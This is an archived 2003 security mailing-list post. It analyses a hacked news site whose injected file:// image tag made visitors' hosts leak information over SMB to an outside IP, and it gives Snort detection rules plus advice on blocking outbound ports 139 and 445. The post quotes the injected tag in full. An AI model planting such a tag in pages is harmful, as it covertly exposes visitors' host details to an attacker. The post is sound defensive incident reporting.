Stopping information leakage

From: Stark, Vernon L. (Vern.Starkat_private)
Date: Tue May 13 2003 - 09:32:38 PDT

  • Next message: Jerry Shenk: "RE: Stopping information leakage"

    	I recently spotted several of our hosts attempting to contact a host
    in Korea primarily on TCP ports 139 and 445.  We believe we've run this to
    ground.  Our analysis suggests this is due to a news site that has probably
    had their web page hacked.  The web page contains the following source code:
    
    <img src=file://210.222.4.129/web.jpg>
    
    Packets captured from one of our hosts indicate that almost immediately
    after receiving this content, the host attempts to contact host
    210.222.4.129 on port 445 and then on port 139.  Various hosts involved have
    also used ports TCP 21 and UDP 137.  According to www.apnic.net,
    210.222.4.129 is assigned to the Korea Network Information Center.  When I
    e-mailed the owner of the web site, he promptly called me.  He indicated
    that he had removed the content shown above and it later reappeared.
    
    	This content at least gives the attacker the ability to see who
    visits the web site.  Depending upon the web site with the hacked content,
    this may provide the attacker with the ability to harvest a very useful
    member list.  Moreover, if ports 139 and 445 are not blocked outbound,
    additional information leakage can result since the Korean host (when last
    tested) will gladly accept connections on port 139.  A host can report host
    name, operating system, domain name, etc.  This emphasizes the importance of
    having a policy that denies all traffic except that required.  Such a policy
    will generally deny outbound traffic on ports 139 and 445 since this traffic
    is generally only appropriate on the intranet.
    
    	The following Snort rules have been used to track this particular
    traffic:
    
    alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Content 210.222.4.129
    spotted.  Korean port 139 host."; content:"210.222.4.129"; )
    
    alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"Content 210.222.4.129
    spotted.  Korean port 139 host."; content:"210.222.4.129"; )
    
    alert tcp $HOME_NET any -> $EXTERNAL_NET 139 (msg:"Outgoing port 139
    activity"; )
    
    alert tcp $HOME_NET any -> $EXTERNAL_NET 445 (msg:"Outgoing port 445
    activity"; )
    
    Vern Stark, GCIA, GSEC
    JHU/APL
    
    Any opinions expressed are mine and may not reflect those of my employer.
    
    
    
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